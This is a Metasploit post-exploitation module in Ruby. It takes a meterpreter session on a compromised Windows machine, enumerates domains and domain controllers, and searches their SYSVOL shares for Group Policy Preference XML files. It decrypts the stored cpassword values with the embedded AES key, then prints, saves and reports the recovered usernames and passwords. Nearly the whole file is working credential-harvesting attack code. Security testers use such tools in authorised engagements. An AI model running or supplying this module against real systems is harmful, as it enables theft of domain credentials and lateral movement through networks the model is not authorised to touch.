##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'rexml/document'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/priv'
require 'msf/core/auxiliary/report'

class Metasploit3 < Msf::Post
	include Msf::Auxiliary::Report
	include Msf::Post::Windows::Priv
	include Msf::Post::Windows::Registry

	def initialize(info={})
		super( update_info( info,
			'Name'          => 'Windows Gather Group Policy Preference Saved Passwords',
			'Description'   => %q{
				This module enumerates the victim machine's domain controller and
				connects to it via SMB. It then looks for Group Policy Preference XML
				files containing local user accounts and passwords and decrypts them
				using Microsofts public AES key.

				Tested on WinXP SP3 Client and Win2k8 R2 DC.
			},
			'License'       => MSF_LICENSE,
			'Author'        =>[
				'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
				'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',
				'scriptmonkey <scriptmonkey[at]owobble.co.uk>',
				'theLightCosine',
				'mubix' #domain/dc enumeration code
				],
			'References'    =>
				[
					['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'],
					['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
					['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
					['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx']
				],
			'Platform'      => [ 'win' ],
			'SessionTypes'  => [ 'meterpreter' ]
		))

		register_options([
			OptBool.new('ALL', [false, 'Enumerate all domains on network.', true]),
			OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]),
			OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])], self.class)
	end

	def run
		group_path = "MACHINE\\Preferences\\Groups\\Groups.xml"
		group_path_user = "USER\\Preferences\\Groups\\Groups.xml"
		service_path = "MACHINE\\Preferences\\Services\\Services.xml"
		printer_path = "USER\\Preferences\\Printers\\Printers.xml"
		drive_path = "USER\\Preferences\\Drives\\Drives.xml"
		datasource_path = "MACHINE\\Preferences\\Datasources\\DataSources.xml"
		datasource_path_user = "USER\\Preferences\\Datasources\\DataSources.xml"
		task_path = "MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
		task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"

		domains = []
		basepaths = []
		fullpaths = []
		cached_domain_controller = nil

		print_status "Checking locally..."
		locals = get_basepaths(client.fs.file.expand_path("%SYSTEMROOT%\\SYSVOL\\sysvol"))
		unless locals.blank?
			basepaths << locals
			print_good "Group Policy Files found locally"
		end

		# If user supplied domains this implicitly cancels the ALL flag.
		if datastore['ALL'] and datastore['DOMAINS'].blank?
			print_status "Enumerating Domains on the Network..."
			domains = enum_domains
			domains.reject!{|n| n == "WORKGROUP" || n.to_s.empty?}
		end

		# Add user specified domains to list.
		unless datastore['DOMAINS'].blank?
			if datastore['DOMAINS'].match(/\./)
				print_error "DOMAINS must not contain DNS style domain names e.g. 'mydomain.net'. Instead use 'mydomain'."
				return
			end
			user_domains = datastore['DOMAINS'].split(' ')
			user_domains = user_domains.map {|x| x.upcase}
			print_status "Enumerating the user supplied Domain(s): #{user_domains.join(', ')}..."
			user_domains.each{|ud| domains << ud}
		end

		# If we find a local policy store then assume we are on DC and do not wish to enumerate the current DC again.
		# If user supplied domains we do not wish to enumerate registry retrieved domains.
		if locals.blank? && user_domains.blank?
			print_status "Enumerating domain information from the local registry..."
			domains << get_domain_reg
		end

		domains.flatten!
		domains.compact!
		domains.uniq!

		# Dont check registry if we find local files.
		cached_dc = get_cached_domain_controller if locals.blank?

		domains.each do |domain|
			dcs = enum_dcs(domain)
			dcs = [] if dcs.nil?

			# Add registry cached DC for the test case where no DC is enumerated on the network.
			if !cached_dc.nil? && (cached_dc.include? domain)
				dcs << cached_dc
			end

			next if dcs.blank?
			dcs.uniq!
			tbase = []
			dcs.each do |dc|
				print_status "Searching for Policy Share on #{dc}..."
				tbase = get_basepaths("\\\\#{dc}\\SYSVOL")
				#If we got a basepath from the DC we know that we can reach it
				#All DCs on the same domain should be the same so we only need one
				unless tbase.blank?
					print_good "Found Policy Share on #{dc}"
					basepaths << tbase
					break
				end
			end
		end

		basepaths.flatten!
		basepaths.compact!
		print_status "Searching for Group Policy XML Files..."
		basepaths.each do |policy_path|
			fullpaths << find_path(policy_path, group_path)
			fullpaths << find_path(policy_path, group_path_user)
			fullpaths << find_path(policy_path, service_path)
			fullpaths << find_path(policy_path, printer_path)
			fullpaths << find_path(policy_path, drive_path)
			fullpaths << find_path(policy_path, datasource_path)
			fullpaths << find_path(policy_path, datasource_path_user)
			fullpaths << find_path(policy_path, task_path)
			fullpaths << find_path(policy_path, task_path_user)
		end
		fullpaths.flatten!
		fullpaths.compact!
		fullpaths.each do |filepath|
			tmpfile = gpp_xml_file(filepath)
			parse_xml(tmpfile) if tmpfile
		end

	end

	def get_basepaths(base)
		locals = []
		begin
			session.fs.dir.foreach(base) do |sub|
				next if sub =~ /^(\.|\.\.)$/
				tpath = "#{base}\\#{sub}\\Policies"
				begin
					session.fs.dir.foreach(tpath) do |sub2|
						next if sub =~ /^(\.|\.\.)$/
						locals << "#{tpath}\\#{sub2}\\"
					end
				rescue Rex::Post::Meterpreter::RequestError => e
					print_error "Could not access #{tpath}  : #{e.message}"
				end
			end
		rescue Rex::Post::Meterpreter::RequestError => e
			print_error "Error accessing #{base} : #{e.message}"
		end
		return locals
	end

	def find_path(path, xml_path)
		xml_path = "#{path}#{xml_path}"
		begin
			return xml_path if client.fs.file.stat(xml_path)
		rescue Rex::Post::Meterpreter::RequestError => e
			# No permissions for this specific file.
			return nil
		end
	end

	def gpp_xml_file(path)
		begin
			groups = client.fs.file.new(path,'r')
			until groups.eof
				data = groups.read
			end

			spath = path.split('\\')
			retobj = {
				:dc     => spath[2],
				:path   => path,
				:xml    => REXML::Document.new(data).root
			}
			if spath[4] == "sysvol"
				retobj[:domain] = spath[5]
			else
				retobj[:domain] = spath[4]
			end
			return retobj
		rescue Rex::Post::Meterpreter::RequestError => e
			print_error "Received error code #{e.code} when reading #{path}"
			return nil
		end
	end

	def parse_xml(xmlfile)
		mxml = xmlfile[:xml]
		print_status "Parsing file: #{xmlfile[:path]} ..."
		filetype = xmlfile[:path].split('\\').last()
		mxml.elements.to_a("//Properties").each do |node|
			epassword = node.attributes['cpassword']
			next if epassword.to_s.empty?
			pass = decrypt(epassword)

			user = node.attributes['runAs'] if node.attributes['runAs']
			user = node.attributes['accountName'] if node.attributes['accountName']
			user = node.attributes['username'] if node.attributes['username']
			user = node.attributes['userName'] if node.attributes['userName']
			user = node.attributes['newName'] unless node.attributes['newName'].blank?
			changed = node.parent.attributes['changed']

			# Printers and Shares
			path = node.attributes['path']

			# Datasources
			dsn = node.attributes['dsn']
			driver = node.attributes['driver']

			# Tasks
			app_name = node.attributes['appName']

			# Services
			service = node.attributes['serviceName']

			# Groups
			expires = node.attributes['expires']
			never_expires = node.attributes['neverExpires']
			disabled = node.attributes['acctDisabled']

			table = Rex::Ui::Text::Table.new(
				'Header'     => 'Group Policy Credential Info',
				'Indent'     => 1,
				'SortIndex'  => -1,
				'Columns'    =>
				[
					'Name',
					'Value',
				]
			)

			table << ["TYPE", filetype]
			table << ["USERNAME", user]
			table << ["PASSWORD", pass]
			table << ["DOMAIN CONTROLLER", xmlfile[:dc]]
			table << ["DOMAIN", xmlfile[:domain] ]
			table << ["CHANGED", changed]
			table << ["EXPIRES", expires] unless expires.blank?
			table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank?
			table << ["DISABLED", disabled] unless disabled.blank?
			table << ["PATH", path] unless path.blank?
			table << ["DATASOURCE", dsn] unless dsn.blank?
			table << ["DRIVER", driver] unless driver.blank?
			table << ["TASK", app_name] unless app_name.blank?
			table << ["SERVICE", service] unless service.blank?

			node.elements.each('//Attributes//Attribute') do |dsn_attribute|
				table << ["ATTRIBUTE", "#{dsn_attribute.attributes['name']} - #{dsn_attribute.attributes['value']}"]
			end

			print_good table.to_s

			if datastore['STORE']
				stored_path = store_loot('windows.gpp.xml', 'text/plain', session, xmlfile[:xml], filetype, xmlfile[:path])
				print_status("XML file saved to: #{stored_path}")
			end

			report_creds(user,pass) unless disabled and disabled == '1'
		end
	end

	def report_creds(user, pass)
		if session.db_record
			source_id = session.db_record.id
		else
			source_id = nil
		end

		report_auth_info(
			:host  => session.sock.peerhost,
			:port => 445,
			:sname => 'smb',
			:proto => 'tcp',
			:source_id => source_id,
			:source_type => "exploit",
			:user => user,
			:pass => pass)
	end

	def decrypt(encrypted_data)
		padding = "=" * (4 - (encrypted_data.length % 4))
		epassword = "#{encrypted_data}#{padding}"
		decoded = Rex::Text.decode_base64(epassword)

		key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
		aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
		aes.decrypt
		aes.key = key
		plaintext = aes.update(decoded)
		plaintext << aes.final
		pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion

		return pass
	end

	def enum_domains
		domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM
		buffersize = 500
		result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
		# Estimate new buffer size on percentage recovered.
		percent_found = (result['entriesread'].to_f/result['totalentries'].to_f)
		if percent_found > 0
			buffersize = (buffersize/percent_found).to_i
		else
			buffersize += 500
		end

		while result['return'] == 234
			buffersize = buffersize + 500
			result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
		end

		count = result['totalentries']
		print_status("#{count} Domain(s) found.")
		startmem = result['bufptr']

		base = 0
		domains = []

		if count == 0
			return domains
		end

		mem = client.railgun.memread(startmem, 8*count)

		count.times do |i|
				x = {}
				x[:platform] = mem[(base + 0),4].unpack("V*")[0]
				nameptr = mem[(base + 4),4].unpack("V*")[0]
				x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
				domains << x[:domain]
				base = base + 8
		end

		domains.uniq!
		print_status "Retrieved Domain(s) #{domains.join(', ')} from network"
		return domains
	end

	def enum_dcs(domain)
		# Prevent crash if FQDN domain names are searched for or other disallowed characters:
		# http://support.microsoft.com/kb/909264 \/:*?"<>|
		if domain =~ /[:\*?"<>\\\/.]/
			print_error("Cannot enumerate domain name contains disallowed characters: #{domain}")
			return nil
		end

		print_status("Enumerating DCs for #{domain} on the network...")
		domaincontrollers = 24  # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
		buffersize = 500
		result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
		while result['return'] == 234
			buffersize = buffersize + 500
			result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
		end
		if result['totalentries'] == 0
			print_error("No Domain Controllers found for #{domain}")
			return nil
		end

		count = result['totalentries']
		startmem = result['bufptr']

		base = 0
		mem = client.railgun.memread(startmem, 8*count)
		hostnames = []
		count.times{|i|
			t = {}
			t[:platform] = mem[(base + 0),4].unpack("V*")[0]
			nameptr = mem[(base + 4),4].unpack("V*")[0]
			t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
			base = base + 8
			print_good "DC Found: #{t[:dc_hostname]}"
			hostnames << t[:dc_hostname]
		}
		return hostnames
	end

	# We use this for the odd test case where a DC is unable to be enumerated from the network
	# but is cached in the registry.
	def get_cached_domain_controller
		begin
			subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\"
			v_name = "DCName"
			dc = registry_getvaldata(subkey, v_name).gsub(/\\/, '').upcase
			print_status "Retrieved DC #{dc} from registry"
			return dc
		rescue
			print_status("No DC found in registry")
		end
	end

	def get_domain_reg
		locations = []
		# Lots of redundancy but hey this is quick!
		locations << ["HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\", "Domain"]
		locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\", "DefaultDomainName"]
		locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\", "MachineDomain"]

		domains = []

		# Pulls cached domains from registry
		domain_cache = registry_enumvals("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache\\")
		if domain_cache
			domain_cache.each { |ud| domains << ud }
		end

		locations.each do |location|
			begin
				subkey = location[0]
				v_name = location[1]
				domain = registry_getvaldata(subkey, v_name)
			rescue Rex::Post::Meterpreter::RequestError => e
				print_error "Received error code #{e.code} - #{e.message}"
			end

			unless domain.blank?
				domain_parts = domain.split('.')
				domains << domain.split('.').first.upcase unless domain_parts.empty?
			end
		end

		domains.uniq!
		print_status "Retrieved Domain(s) #{domains.join(', ')} from registry"

		return domains
	end
end
